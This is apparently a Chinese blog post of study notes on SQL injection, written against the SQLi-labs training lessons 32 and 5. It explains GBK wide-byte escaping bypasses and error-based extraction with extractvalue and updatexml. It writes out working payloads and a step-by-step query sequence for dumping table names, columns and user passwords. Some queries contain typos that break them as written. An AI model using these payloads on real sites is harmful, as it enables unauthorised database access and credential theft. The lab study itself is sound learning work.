sql宽字节注入和报错注入

Msql原始语句:select id,email from member where username='\'' //输入的是 ' 结果变成
payload:1%df' union select 1,database()#

可以看到Msql语句中 \ 已修改:select id,email from member where username='1\xDF\' union select 1,database()# '

or前面要加参数,不能为空


sqil labs 三十二关

addslashes()给参数加上/避免注入
php中magic_quotes_gpc=on函数开启

-1' union select 1,database(),user()--+ //把'转换成“/”

如何突破?
字节覆盖
希腊字母B 是两个字节 B的ur编码是%df这样,就可以将/覆盖掉
%27 是'的url编码

在GBK编码下,当输入%df(即0xdf)时,它会与转义字符\(0x5c)组合形成一个新的宽字节字符。因为0xdf和0x5c组合在GBK编码中被解析为一个合法的汉字等宽字节字符,从而使得原本用于转义单引号的\失去作用。

sql报错注入:

sqil labs 第五关

报错注入(Sqlilabs Less5)
为什么需要报错注入?
在实际场景中,如果没有一个合适的数据返回点,而是仅仅带入sql数据库进行查询,就需要报错注入。
SELECT * FROM users WHERE id='$id' LIMIT 0,1 正常进行绕过,但是在less5没有数据回显,断定为报错
注入

1,extractvalue
and extractvalue(null,concat(0x7e,(sql语句),0x7e))
可以理解为,让后台xml故意报错。
0x7e的具体含义:0x7e= ~
利用这种方式,对后台进行一个排序,指定第一个参数为null,让他故意报错,将第二个参数中的语句带
入数据库执行,最后报错显示执行的结果。

注意:此处应使用select语句不能使用union

第一步查表:select table_name from information_schema.tables where table_schema='security' limit 0,1

第二步查列:select colums_name from information_schema.columns where table_schema='secureity' and table_name='users' limit 0,1

第三步查数据:select username,password from users

limit:数据库中的排序limit 0,1 表格中数据第一项
可以抓包到burpsuite中使用sniper爆品limit中的0来看有多少数据库

实验:
id= 1 and extractvalue(null,concat(0x7e,(select database()),0x7e))

2, updatexml
and 1 = (updatexml(1,concat(0x7e,(sql_inject)),1))

updatexml名字就很明显,这个函数,是用来更新xml数据的,但是,我们非法传参,是他故意报错,执
行我们的sql语句,0x7e 任然是~ 用来区分数据

posted on 2024-12-23 15:41  Ad1ey  阅读(12)  评论(0编辑  收藏  举报